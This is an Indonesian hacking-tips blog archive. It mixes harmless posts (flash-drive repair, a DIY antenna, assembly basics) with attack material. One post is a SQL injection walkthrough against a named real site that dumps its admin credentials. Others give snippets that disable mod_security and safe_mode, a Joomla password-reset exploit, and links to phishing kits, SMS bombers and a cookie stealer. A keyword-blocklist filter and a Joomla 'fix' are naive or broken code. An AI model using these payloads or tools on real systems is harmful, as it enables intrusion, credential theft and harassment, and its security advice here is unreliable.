Showing posts with label Tips Dan Trick. Show all posts
Showing posts with label Tips Dan Trick. Show all posts

Sunday, March 25, 2012

Anda Mau Dapat Dolar Dengan Mudah ?

Buruan Daftar Kalo Mau Dapet Dolar 17 $ cuma sekali daftar dan persurvey 1$ Sampai 25$ kalo anda rajin surveynya







1. Untuk Daftar klik disini lalu ikuti lalu klik "Create New Account "

2. Lalu Isi Data anda dengan benar, contoh :

3. Setelah Selesai Daftar Anda Akan Di suruh untuk survey, selesaikan survey nya , dan nanti anda akan mendapakan sebanyak 17 $ atau lebih
READ MORE - Anda Mau Dapat Dolar Dengan Mudah ?

Monday, December 12, 2011

Cara Memperbaiki Flashdisk Tidak Detect

Kali ini saya akan mensharing pengalaman karena flashdisk saya ada yang rusak dan akan dibagikan mengenai Repair Flashdisk V.2.9.1.1 , sebuah software utk me-repair flashdisk yang kalian punya agar bisa normal kembali seperti sedia kala , semoga ini bisa bermanfaat . Sebelumnya baca dulu tahap-tahap cara memakainya :)                                                                     
Salah satu contoh kerusakan pada flashdisk : 
  • Ketika flashdisk di colokkan, lampu lead di flashdisk menyala terus menerus tidak berkedip.
  • Walau sudah diformat tetap tidak bisa
  • Saat di explore, flashdisk terdeteksi, tetapi saat di klik muncul pemberitahuan “ insert your device . Otomatis tidak bisa membuka isi flashdisknya.

Cara kerja dari software Repair Flashdisk V.2.9.1.1 juga sangat mudah tidak perlu crack,serial,dan juga tidak perlu diinstal karena akan langsung mendeteksikan flashdisk yang sudah anda colok begitupun juga software ini tidak begitu berat utk masuk di komputer anda

Kemudian muncul perintah untuk format flashdisk ( kalau ada datanya, maka data akan hilang ) dan ikuti instruksi selanjutnya. Setelah semua beres, saatnya mencoba flashdisk yang sudah rusak tadi,semoga flashdisk anda bisa kembali seperti sedia kala .

Downlad Software Repair Flashdisk V.2.9.1.1 . Semoga bermanfaat bagi semua teman 


Source : http://darkzshare.blogspot.com/2011/12/repair-flashdisk-v2911.html
READ MORE - Cara Memperbaiki Flashdisk Tidak Detect

Repair Flashdisk V.2.9.1.1

Kali ini saya akan mensharing pengalaman karena flashdisk saya ada yang rusak dan akan dibagikan mengenai Repair Flashdisk V.2.9.1.1 , sebuah software utk me-repair flashdisk yang kalian punya agar bisa normal kembali seperti sedia kala , semoga ini bisa bermanfaat . Sebelumnya baca dulu tahap-tahap cara memakainya :)                                                                     
Salah satu contoh kerusakan pada flashdisk : 
  • Ketika flashdisk di colokkan, lampu lead di flashdisk menyala terus menerus tidak berkedip.
  • Walau sudah diformat tetap tidak bisa
  • Saat di explore, flashdisk terdeteksi, tetapi saat di klik muncul pemberitahuan “ insert your device . Otomatis tidak bisa membuka isi flashdisknya.

Cara kerja dari software Repair Flashdisk V.2.9.1.1 juga sangat mudah tidak perlu crack,serial,dan juga tidak perlu diinstal karena akan langsung mendeteksikan flashdisk yang sudah anda colok begitupun juga software ini tidak begitu berat utk masuk di komputer anda

Kemudian muncul perintah untuk format flashdisk ( kalau ada datanya, maka data akan hilang ) dan ikuti instruksi selanjutnya. Setelah semua beres, saatnya mencoba flashdisk yang sudah rusak tadi,semoga flashdisk anda bisa kembali seperti sedia kala .

Downlad Software Repair Flashdisk V.2.9.1.1 . Semoga bermanfaat bagi semua teman
READ MORE - Repair Flashdisk V.2.9.1.1

Sunday, December 11, 2011

Cara Lain Cegah SQL Injection

SQL Injection gak habis – habis. Setiap hari ada aja situs yang jadi korban. Entah emang karena adminnya gak ngerti atau apa saya gak tau. Padahal tutorial untuk bagaimana melakukan dan mencegahnya dah banyak banget beredar di internet.
Emang agak susah sih apalagi kalo yang model Blind SQL Injection dan beberapa variasi yang banyak banget. Sedangkan kita tahu, beberapa CMS terkenal pun sering jadi korban.

Sebagai contoh saya pengguna WordPress. Aman gak WordPress itu? Ya menurut saya sih oke – oke aja cuman bagaimana dengan pluginnya? Facebook pun banyak kasusnya yang ternyata kelemahannya berada pada Aplikasi – aplikasinya, mungkin game atau apapun itu.
Pada kesempatan kali ini saya hanya akan mencoba melakukan pencegahan dengan predefined atau PHP Superglobal $_SERVER['REQUEST_URI'] yang menangkap nilai pada URL.
Penasaran? Kita praktek aja. Ehmm, karena saya males buat contoh web yang vulnerable kita akan mencoba contoh script yang di buat oleh Om EVA-00 (kemana aja lo Bro?) yang juga sekalian dia menuliskan tutorial bagaimana melakukan Dasar SQL Injection.
Cara Lain Cegah SQL Injection
Setelah download, buka folder injector lalu ekstrak folder xyb_injector.sql.gz.
Buka phpMyAdmin dan buat database “inject” dan import database yang tadi telah kita ekstrak.
Cara Lain Cegah SQL Injection
Cara Lain Cegah SQL Injection
Dan hasilnya kayak gini nanti…
Cara Lain Cegah SQL Injection
Kembali ke folder injector, buka folder library dan edit file config.php. Masukkan username, password, host dari phpmyadmin dan nama database di dalamnya…
1
2
3
4
5
6
7
<?php
// This is an example of config.php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'inject';
?>
Selesai dan jalankan contoh webnya…
Cara Lain Cegah SQL Injection
Sampai sini kalian bebas belajar dah bagaimana dasar-dasar SQL Injection dan tutorialnya ada di dalam ebooknya.
Kita hanya stop sampai disini aja…
1
http://localhost/cobain/injector/index.php?id=-4+union+select+1,@@version,3,4,5--
Cara Lain Cegah SQL Injection
Sekarang buat file php baru dengan nama antisqli.php lalu masukkan script berikut.
1
2
3
4
5
6
7
8
9
<?php
if (strlen($_SERVER['REQUEST_URI']) > 255  || strpos($_SERVER['REQUEST_URI'], "concat") || strpos($_SERVER['REQUEST_URI'], "union") || strpos($_SERVER['REQUEST_URI'], "base64")) {
echo "Maaf Bro... Apa tuh? Mau Nakal Yah <img src="http://cruzenaldo.com/blog/wp-content/plugins/tango-smileys-extended/tango24/razz.png" alt="Razz" title="Razz" class="tse-smiley" width="24" height="24">";
@header("HTTP/1.1 414 Request-URI Too Long");
@header("Status: 414 Request-URI Too Long");
@header("Connection: Close");
@exit;
}
?>
Setelah itu kita melakukan include pada index.php di dalam folder injector tadi.
1
2
3
4
5
6
<?php
include 'library/config.php';
include 'library/opendb.php';
include 'antisqli.php';
 
?>
Di bagian paling atas tinggal tambahkan aja include ‘antisqli.php’;. Setelah itu buka link yang tadi kita sisipkan perintah SQL dan apa yang terjadi?
aaa
Keren kan? Oke kita lihat lagi antisqli.php – nya…
1
if (strlen($_SERVER['REQUEST_URI']) > 255  || strpos($_SERVER['REQUEST_URI'], "concat") || strpos($_SERVER['REQUEST_URI'], "union") || strpos($_SERVER['REQUEST_URI'], "base64"))
Jika variabel di URL lebih dari 255 atau (tanda || dibaca atau) ada kata “concat“, “union” dan “base64“.
1
2
3
4
5
echo "Maaf Bro... Apa tuh? Mau Nakal Yah <img src="http://cruzenaldo.com/blog/wp-content/plugins/tango-smileys-extended/tango24/razz.png" alt="Razz" title="Razz" class="tse-smiley" width="24" height="24">";
@header("HTTP/1.1 414 Request-URI Too Long");
@header("Status: 414 Request-URI Too Long");
@header("Connection: Close");
@exit;
Maka akan muncul pesan “Maaf Bro… Apa tuh? Mau Nakal Yah Razz” kemudian dilanjutkan dibawahnya.
Nah gak hanya cuman union / concat kan jika kita melakukan SQL Injection. Ada select, @@version dan lain – lain. Kan kalian yang lebih jago kalo soal beginian Grin Nantinya kalian tinggal tambahkan aja menjadi.
1
strpos($_SERVER['REQUEST_URI'], "concat")
Jangan lupa tanda || (atau). Oke sekian dulu tutorial dari saya, semoga berguna dan mohon maaf jika tutorial ini tergolong newbie banget dan sederhana. Ingat hal besar dimulai dari yang sederhana dulu. Ketemu lagi di tutorial berikutnya…

UPDATE

Pertama – tama makasih buat Om ketek untuk perbaikannya neh. Emang kemaren saya sempet lupain so pengembangan penting ini harus banget.
Kenapa? Coba, pertama kalo kita masukkan URL seperti ini
1
2
3
4
5
6
7
http://localhost/cobain/injector/index.php?id=-4+UniOn+select+1,@@version,3,4,5--
 
atau seperti ini
 
http://localhost/cobain/injector/index.php?id=-4+uNioN+select+1,@@version,3,4,5--
 
dan lain lain
Pasti bakalan gak berhasil karena masalahnya si strpos itu mencari dengan case sensitive alias huruf besar atau kecil dibedain… jadi union sama UniOn akan dibedakan.
Solusi pertama adalah menggunakan stripos (case insensitive)
1
if (strlen($_SERVER['REQUEST_URI']) > 255  || stripos($_SERVER['REQUEST_URI'], "concat") || stripos($_SERVER['REQUEST_URI'], "union") || stripos($_SERVER['REQUEST_URI'], "base64")) {
Atau menggunakan preg_match
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// kata2 kotor dan jorok... <img src="http://cruzenaldo.com/blog/wp-content/plugins/tango-smileys-extended/tango24/wink.png" alt="Wink" title="Wink" class="tse-smiley" width="24" height="24">
$berbahaya = array("union", "concat", "base64");
 
$gabungsemua = implode("|",$berbahaya);
if((strlen($_SERVER['REQUEST_URI']) > 255) || (preg_match("/".$gabungsemua."/i",$_SERVER['REQUEST_URI']))){
echo "Maaf Bro... Apa tuh? Mau Nakal Yah <img src="http://cruzenaldo.com/blog/wp-content/plugins/tango-smileys-extended/tango24/razz.png" alt="Razz" title="Razz" class="tse-smiley" width="24" height="24">";
@header("HTTP/1.1 414 Request-URI Too Long");
@header("Status: 414 Request-URI Too Long");
@header("Connection: Close");
@exit;
 
?>
Sekarang union,UNIon,unIoN dan variasi – variasi yang lain pasti gak akan berhasil…
READ MORE - Cara Lain Cegah SQL Injection

Friday, December 9, 2011

Tutorial Sql Injection


Dork
inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"

trus yg saya dapat :
http://www.geic.co.id/detailproduct.php?id=75

untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
http://www.geic.co.id/detailproduct.php?id=75'

ternyata ada bug-nya, muncul pesan error :
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1

Untuk mencari column gunakan perintah [order by]
http://www.geic.co.id/detailproduct.php?id=75 order by 1--

dimulai dengan angka 1, selanjutnya 2, dst sampe muncul pesan error
pada target kita kali ini, error muncul pada angka 19
http://www.geic.co.id/detailproduct.php?id=75 order by 19--

muncul pesan error:
Unknown column '19' in 'order clause'

jadi angka yang diambil adalah 19-1 = 18 (jumlah column adalah 18)

Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah "union all select"
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75

akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3

trus kita ceri versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 3
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

muncul tulisan :
5.0.90-community
wewww...ternyata versi 5, klo versi 4 sy angkat tangan.....wkwkwkwk :p
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan
column dari information_schema, dimana information_schema tidak terdapat pada database MySql versi 4.
Jadi kalau targetnya mempunyai database MySQL versi 4, yang kita lakukan yaitu
menebak-nebak tablenya... lol

Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib
dan "+from+information_schema.tables+where+table_schema=database()--" di
belakang angka 18
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+infor
mation_schema.tables+where+table_schema=database()--

akan muncul nama-nama table :
login,tbanner,tcatprod,tproduct,tset

Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://snarkles.net/scripts/sneak/sneak.php
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e

Perintah selanjutnya adalah "group_concat(column_name)" pada angka ajaib 3 dan
"+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL

ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--

muncul column : user,pass
wkwkwkkw....

untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 3
dan +from+NAMATABLE-- pada akhir URL

ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama
"login"
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+login--

hasil : admin:admin
jadi,
user = admin
password = admin

Selesai ??? belum....wkwkwkwk :p
Langkah selanjutnya adalah mencari Admin Page target kita
anda bisa menggunakan "adminfinder" atau "scanlink.py"
di sini bisa tonji : http://revtan.site40.net/admin/

Klo ada yg dapat admin pagenya tolong jangan di deface, supaya web ini bisa dipake
untuk pembelajaran....wkwwkwkwk
READ MORE - Tutorial Sql Injection

Thursday, December 8, 2011

Ayo Rakit Antena Omni Sendiri yuk

Berikut ini adalah contoh dalam pembuatan antena WiFi 2,4 GHz.
Bagi pembaca yang berkeinginan untuk membangun HOTSPOT antena ini patut dicoba guna untuk menekan harga dibanding dengan membeli antena yang buatan pabrik.
A. Bahan 1. Coaxial RG 6
2. Pipa pralon ¾ inci
3. Pipa tembaga AC ¼ inci x 0,56
4. Konektor type M40-F sebanyak 1 buah
5. Timah solder
6. Lem stick
7. Plat tembaga
8. Paku rivet
B. Peralatan
1. Mesin bor Tangan
2. Tang rivet
3. Solder
4. Glue Gun
5. Tang Kombinasi
6. Tang long nose
7. Tang potong
8. Meteran 3 M
C. Gambar Kerja
1. Driven / horn
example
2. Rangkaian Antena Omni
example
D. Langkah Kerja
1. Driven / Horn Potong Pipa tembaga AC berdiameter 1/4″ sepanjang 47 mm
Potong Coaxial RG 6 sepanjang 67mm, kemudian buang kulit luarnya
Kupas kulit bagian dalam di kedua ujung Coaxial RG 6 sepanjang 10 mm
Masukkan kupasan Coaxial RG 6 kedalam pipa tembaga AC
Lakukan pekerjaan point 1.a s.d. point 1.d sebanyak 25 kali.
Sambung hasil dari point 1.e dengan cara di solder dan di selingi antara kabel grown dan positip kabel, perhatikan gambarLakukan pekerjaan diatas sehingga tersambung semua
Setelah semua tersambung semua, diujung driven / horn dipasang stub kemudian ujung dari stub satunya lagi tersebut di pasang konektor type M40-F, perhatikan gambar
2. Finishing
Potong pipa pralon sepanjang 150 cm
Masukkan driven / horn yang sudah di buat di point 1 kedalam pipa pralon tersebut dan konektor type M40-F berada di luar dari pralon tersebut. (lihat gambar kerja)
Tutup bagian atas dengan penutup / dop pralon
Gunakan glue gun menempelkan konektor type M40-F agar menempel dengan kuat di ujung pralon.


Source : http://hvm.web.id/99/?p=10

Thanks To Dodi Hariadi For Tutorial Nice Share :D
READ MORE - Ayo Rakit Antena Omni Sendiri yuk

Wednesday, December 7, 2011

Mengenali Beberapa Teknik Penyerangan Pada Website Anda

Di pertengahan 2009, maraknya satu bentuk pembajakan password FTP yang disebut juga serangan “gumblar” atau “martuz” , mempatenkan model pencurian ini menjadi salah satu cara yang paling sering digunakan untuk melakukan hacking. Cara kerja gumblar atau martuz adalah memodifikasi hasil pencarian Google sehingga setiap klik pada link yang tampil di hasil pencarian akan diredirectkan ke situs penyedia badware. Badware yang terdownload akan secara otomatis menyebarkan gumblar atau martuz ke PC korban. Untuk kemudian mencari password login FTP di PC korban dan mengirimkannya ke sebuah komputer remote. Komputer remote tersebutlah yang bertugas untuk melakukan login FTP ke website korban dan memodifikasi halamannya, termasuk menginstal kopian baru dari gumblar atau martuz sehingga bisa menggandakan sendiri. Itulah sebabnya menghapus program ini tidaklah cukup untuk membersihkan situs anda. Serangan ini mengambil keuntungan dari sebuah fakta bahwa ada banyak PC yang miskin perlindungan di dunia. Dan personal komputer tersebut nahasnya adalah milik webmaster yang informasi login websitenya disimpan di personal komputer mereka. Karena itulah, lengkapi personal komputer anda dengan perlindungan antivirus yang memadai untuk pencegahan infeksi gumblar atau martuz di situs anda. Dan jangan sekali-kali membookmark informasi login anda.

2) Serangan Remote File Inclusion (RFI)

Sebelum kemunculan gumblar atau martuz, serangan RFI adalah satu bentuk ancaman terbesar. Prinsip kerja serangan RFI adalah menipu sebuah website yang telah berjalan untuk mengcopy kode dari website eksternal. Kode yang dicopy menyusup ke dalam script yang dieksekusi, dan menjadi bagian di dalamnya. Sehingga, setiap script tersebut dieksekusi kembali, sebaris kode tersebut juga ikut dieksekusi. Sebaris kode tersebut fungsinya adalah untuk mendownload badware ke komputer pengakses. Adapun indikasi serangan RFI adalah di akses log website anda akan tampil koding seperti ini:

Perhatikan bahwa sebaris koding di atas terkandung link eksternal ke situs lain. Link tersebut mengarah ke remote server yang menyimpan badware di dalamnya. Tujuannya adalah membuat pengunjung situs anda yang mengeksekusi sebaris koding tersebut diarahkan ke server remote untuk mendownload badware di dalamnya.
Satu alasan mengapa banyak sekali website yang rentan terhadap RFI adalah aplikasi CMS semacam Joomla, WordPress, dan lain sebagainya, seringkali sangat kompleks berisi ribuan baris kode. Beberapa baris seringkali adalah versi lama yang masih rentan terhadap serangan RFI. Ditulis sebelum ancaman RFI dikenal luas sehingga koding tidak diprogram agar kebal dari serangan RFI. Nahasnya aplikasi ini kemudian dipakai oleh milyaran website. Sehingga apabila satu saja vulnerability terhadap RFI diketahui, membuat milyaran website menjadi sasaran empuk disusupi RFI.  Itulah sebabnya kita perlu mengupdate aplikasi web kita ke versi yang terbaru, yang tentunya lebih kebal terhadap RFI.

3) Serangan Local File Inclusion (LFI)

Serangan LFI hampir sama seperti RFI, bedanya mereka mencoba untuk menipu sebuah halaman web agar menampilkan konten dari file sistem server yang penting, yang seharusnya restricted dan tidak boleh diakses. Indikasi serangan LFI adalah di akses log website anda akan tampil koding seperti ini:
Perhatikan sebaris koding susupan LFI, terkandung path ke sebuah file di server anda yang ingin penyerang lihat pada halaman tampilan. Koding tersebut akan membuat sistem menampilkan konten dari file password. Walaupun password ditampilkan dalam bentuk enkripsi, tetapi sekali penyerang mendapatkannya, dengan mudah mereka bisa mendekripsinya.
Cara menanggulangi serangan LFI adalah dengan melatih kemampuan koding kita dan memperdalam pengetahuan tentang pembatasan .htaccess

4) Serangan Injeksi SQL

Pada dasarnya serangan ini sama dengan RFI dan LFI, bedanya obyek yang diserang adalah halaman web yang menggunakan Structured Query Language (SQL) untuk melakukan query dan memanipulasi database, semisal MySQL. Cara kerjanya adalah dengan menanamkan komando SQL di sebaris koding untuk menipu sistem agar membocorkan informasi rahasia. Berikut salah satu contoh dari serangan injeksi SQL yang nantinya akan muncul pada akses log website anda:
Target yang dituju bukanlah komando PHP include() seperti halnya LFI dan RFI. tetapi, targetnya adalah melakukan komando query SQL. Seperti contoh sederhana di atas, jika query basic seharusnya mengambil dan menampilkan beberapa data user untuk satu user saja, injeksi bagian baru dari string SQL “OR 1=1″ mengakibatkan sistem yang mengeksekusi kode ini akan menampilkan data untuk semua user. Hal ini karena logika biner “1=1″ selalu bernilai true, jadi setiap record di database menjadi selalu cocok, dan membuat halaman tampilan akan menampilkan apapun karena selalu bernilai true.
Kembali lagi, pengertian script yang mendalam sangatlah diperlukan untuk menanggulangi serangan ini.

5) Password Attack

Di samping gumblar, ada cara lain bagi penyerang untuk mencuri password situs anda. Yaitu dengan berulang-ulang mencoba untuk login dengan kombinasi user ID dan password yang berbeda, berharap untuk menebak manakah yang benar. “menebak” di sini adalah melalui serangan otomatis dengan memasukkan berbagai susunan huruf dan angka dalam beberapa detik. Inilah sebabnya mengapa sangatlah penting bagi kita untuk menggunakan password yang susah di crack. Yaitu password yang sangat panjang, memuat berbagai macam karakter, dan random, yang akan membuat bahkan komputer tercepatpun membutuhkan waktu lama untuk melakukan cracking password anda. Cara lain yang efektif adalah dengan mengaktifkan settingan proteksi brute force, agar melakukan blok IP tertentu jika melakukan kesalahan gagal login lebih dari 3 kali.

source dari  Jagoan hosting
READ MORE - Mengenali Beberapa Teknik Penyerangan Pada Website Anda

Peralatan Jahil Yang Harus Dimiliki Hacker

1.) Melacak Lokasi HP dan Laptop seseorang

Download


2. ) SMS dan Email Bomber
software sms dan email bomber , untuk apa ?
pastinya untuk mengirim sebuah pesan yang sekaligus banyak !!
Untuk lebih jelasnya langsung aja ke TKP dibawah ini :

coba SMSKill, skrg dah v.1.5

v1.3 features:
- Fast, multi-threaded.
- Can bomb up to 150 times every gmail (this goes for all SMS bombers)
- Uses Gmail SMTP servers to send inputted email to other emails or cell phones.
- A lot of carriers already included.

v1.4 features:
- Custom Gateways (if your carrier is not in the list, you can use a custom gateway for your carrier.)

v1.5 features:
- GUI Fixed




SMSKillv1.3 Download:
http://uppit.com/v/DR8YFXVZ

SMSKillv1.4 Download:
http://uppit.com/v/4BVGZVQ8

SMSKillv1.5 Download [RECOMMENDED]:
http://www.megaupload.com/?d=TSUDEVYG

Instructions:
1. Download the program
2. Extract the program
3. Make a gmail account at gmail.com
4. Input those gmail account details into the specified fields on the program
5. Fill in other information as needed; start bombing.

atau
Download Now
3.) Script Phising Facebook

http://www.ziddu.com/download/5023245/scriptFakeloginFacebook.rar.html
untuk lebih lanjut mengenai tool diatas.


4.) Video Hacking Email Yahoo, Gmail, dll

http://www.ziddu.com/download/4965378/HackEmail.rar.html


5.) Tool Mencuri Cookies di Firefox (Passwordfox)

http://www.ziddu.com/download/4886892/passwordfox.zip.html
Baca Disini untuk lebih lanjut mengenai tool ini.


6.) Keygen / Crack Adobe Photoshop CS 4



7.) Script Phising Friendster.com

http://www.ziddu.com/download/4580114/hackFS.rar.html


8.) Ground Zeros Facebook Freezer.exe (Not Working)

http://www.ziddu.com/download/5143091/GroundZerosFacebookFreezer.exe.html


9.) Script Phising Account Premium Rapidshare

http://www.ziddu.com/download/4598342/PhisingAccountPremiumRapidshare.rar.html

Bonus :

1.) Ebook cetakuang ambil uang di ATM

http://www.ziddu.com/download/5425364/cetakuang-ambil-uang-di-atm.pdf.html

2.) Cara mendapatkan Kartu Kredit Gratis di Internet (Verified Paypal)

http://www.ziddu.com/download/4757221/PanduanCreditCard.rar.html

3.) Cara mudah Mendapat AntiVirus Kapersky Gratis

http://www.ziddu.com/download/4598341/antiviruskaperskygratisuntukanda..doc.html

4.) Ebook Tutorial nge-Blog (Blogging)

http://www.ziddu.com/download/4598340/belajarNGEblog.rar.rar.html

5.) Kumpulan Software Gratis / Freeware

http://www.ziddu.com/download/4598339/aplikasifreewareuntukanda.doc.html


source : http://java-cyber.blogspot.com/2011/12/peralatan-jahil-yang-harus-dimiliki.html
READ MORE - Peralatan Jahil Yang Harus Dimiliki Hacker

Sunday, December 4, 2011

Barang Rumahan (Sendok) Penguat Sinyal 3G

Penguat sinyal 3G pake sendok? emg aneh sih kedengaran nya, tapi jangan sepele dulu ama blog ini dan saya sengaja menulis ini menurut pengalamam saya , saya coba deh test karena logam adalah penghantar sinyal , jadi so dia makin kuat deh nangkap dan manca sinyal nya :D RECHIVER sih kata bahasa org tingkat dewa , kalo aku sih kaga dewa makanya aku bilang penerima dan penerima yang sangat kuat

Penampakannya :




Sebelum pake sendok ajaib

Sesudah pake sendok ajaib



Write By Wan Satria Andanu


Copyright :  http://hariscyber4rtcrew.blogspot.com/2011/12/si-mungil-sendok-penguat-sinyal-3g.html
READ MORE - Barang Rumahan (Sendok) Penguat Sinyal 3G

Saturday, December 3, 2011

Mengubah safemode ON ke safemode OFF

Ayo Semua Sahabat2 madehope-family dan semua sahabat cyber semua 
tulisan safemode on otomatis kalo gitu kita ndak bisa mendapat akses yang lebih tinggi atau jadi super root :'( nah sekarang kita ubah safemode on menjadi safemode off cara nya seperti berikut ini

ada 3 cara yaitu melalui .htaccess , ini.php dan php.ini

oke langsung saja menuju c0de nya ……………

.htaccess
Code:
<IfModule mod_security.c&gt; SecFilterEngine Off SecFilterScanPOST Off </IfModule>


ini.php
Code:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GETsansursansursansur91;"file"sansursansursansur93;);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GETsansursansursansur91;"ss"sansursansursansur93;);
?>


php.ini
Code:
safe_mode = off
exec = On
shell_exec = On

Write By : Wan Madehope

READ MORE - Mengubah safemode ON ke safemode OFF

Monday, November 28, 2011

Cegah reset joomla by Wan Madehope



pastinya untuk para hacker & kawan-kawannya pasti tau yang di maksud reset joomla ..
reset joomla adalah teknik attack web dengan menggunakan fasilitas reset pada joomla dengan memasukan token dari web tersebut ..
ya seperti itulah kalau menurut shadows reset joomla itu ..wkwkwk
 disini lah letak exlpoit dari saya
http://wanjoomla.com/index.php?option=com_user&view=reset&layout=confirm

jika anda masukan ke token dengan (') tanpa tanda kurung tuliskan saja '        <<-- kyk gitu deh
ntar anda bisa masukin deh password baru anda





nah sekarang kita bahas bukan attack web dengan menggunakan reset joomla tapi cara pencegahannya ..
ok langsung aja yuu ..
buka isi reset.php di website joomla :

http://wanjoomla.com/components/com_user/models/reset.php

cari script di bawah ini :


function confirmReset($token, $username)
    {
        global $mainframe;

        jimport('joomla.user.helper');

        if(strlen($token) != 32) {
        $this->setError(JText::_('INVALID_TOKEN'));
        return false;
        }

        $db    = &JFactory::getDBO();
        $db->setQuery('SELECT id, activation FROM #__users WHERE block = 0 AND username = '.$db->Quote($username));

        $row = $db->loadObject();

        // Verify the token
        if (!($row = $db->loadObject()))
        {

nah bisa di lihat kan script'a ..
permasalahannya ada di script bawah ini :

setQuery('SELECT id, activation FROM #__users WHERE block = 0 AND username = '.$db->Quote($username));

tanda kutip (') satu itu yang memungkinkan web joomla dapat di attack oleh orang-orang yang ga bertanggung jawab ..wwkwkwkwk
kutip (') itu membuat file reset.php menjadi valid dan kelihatan , dan cara mencegahnya adalah tambahkan tanda kutip (') satu lagi di belakang sama dengan untuk membuat file reset.php menjadi valid dan tidak terbaca oleh user .
jadinya kaya gini :

setQuery('SELECT id, activation FROM #__users WHERE block = 0 AND username = ''.$db->Quote($username));

gampang kan ..
itu salah satu cara untuk mengamankan situs joomla dari attacking web oleh para orang yang bertanggung jawab ..

TTD : MADEHOPE-FAMILY
READ MORE - Cegah reset joomla by Wan Madehope

Monday, November 14, 2011

Belajar Assembly di Linux


Bagi seseorang yang bergelut di dunia security bahasa Assembly adalah bahasa yang wajib dikuasai. Karena bahasa ini adalah bahasa tingkat rendah, dekat dengan bahasa mesin (biner), maka mempelajari bahasa ini akan sangat menguntungkan. Dengan mempelajari bahasa assembly, sedikit banyak secara otomatis kita akan memahami cara komputer bekerja lebih dalam lagi.
Artikel ini juga sebagai pembuka sebelum saya membahas mengenai shellcode, buffer overflow dan teknik exploitasi lain yang membutuhkan pemahaman mengenai assembly dan sistem operasi. Bila anda ingin menjadi hacker yang baik, anda wajib menguasai bahasa ini.
Bahasa Mesin, Assembly dan C
Pada dasarnya komputer adalah makhluk digital yang hanya mengerti digit 1 dan digit 0 (binary). Komputer hanya mau menerima data dalam bentuk binary dan juga hanya bisa mengerti perintah dalam bentuk binary. Perintah dalam bentuk binary ini disebut dengan bahasa mesin.
Secara umum program bisa dilihat sebagai urutan langkah/perintah/instruksi untuk menyelesaikan sesuatu. Programmer bisa langsung membuat program dengan menuliskan perintah dalam bentuk 1 dan 0 (bahasa mesin), atau menggunakan bahasa tingkat tinggi yang lebih manusiawi seperti C, Visual Basic atau Java.

Hanya dua simbol yang dimengerti komputer, yaitu 1 dan 0
Perhatikan contoh sederhana ini: programmer ingin menyimpan nilai  register EAX ke dalam stack. Dalam bahasa mesin programmer harus menuliskan 01010000. Sedangkan dalam bahasa assembly programmer cukup menulis PUSH EAX. Manakah yang lebih manusiawi? Tentu menggunakan assembly lebih manusiawi. Sangat sulit bagi manusia bila harus selalu menggunakan 1 dan 0 setiap memberi perintah.
codeinbinary
Semakin tinggi bahasanya, maka semakin manusiawi cara memberi perintahnya. Contohnya bila programmer ingin menampilkan suatu teks di layar monitor, dalam bahasa C programmer cukup menuliskan printf(“Hello World”), mudah dan singkat. Namun dalam bahasa yang lebih rendah seperti assembly, dibutuhkan sekitar 5 langkah untuk menyelesaikan tugas yang sama.
Semua program dalam bahasa apapun dibuatnya, pada akhirnya ketika akan dieksekusi akan diterjemahkan dalam bahasa mesin, karena itulah satu-satunya bahasa yang dimengerti prosesor.
Bahasa Assembly dan Processor
Karena bahasa assembly adalah mnemonic (singkatan) untuk instruksi dalam bahasa mesin. Maka perintah-perintah dalam bahasa assembly terkait erat dengan prosesornya. Setiap prosesor memiliki instruction set masing-masing,sehingga bahasa assembly untuk prosesor Intel akan berbeda dengan assembly untuk prosesor lainnya.  Namun karena intel menguasai pangsa pasar prosesor maka hampir semua produsen prosesor membuat instruksi set yang kompatibel dengan intel.
Bahasa assembly adalah mnemonic dari instruksi bahasa mesin (berbentuk binary) yang disebut opcode
Dokumentasi lengkap mengenai membuat program dalam prosesor intel, termasuk daftar instruction setnya bisa diperoleh di website resmi intel, di intel developer manuals. Dalam artikel ini saya hanya menjelaskan beberapa instruksi dasar yang paling banyak dipakai, selebihnya bisa dilihat di manual yang ada di website intel.
Assembly AT&T dan NASM
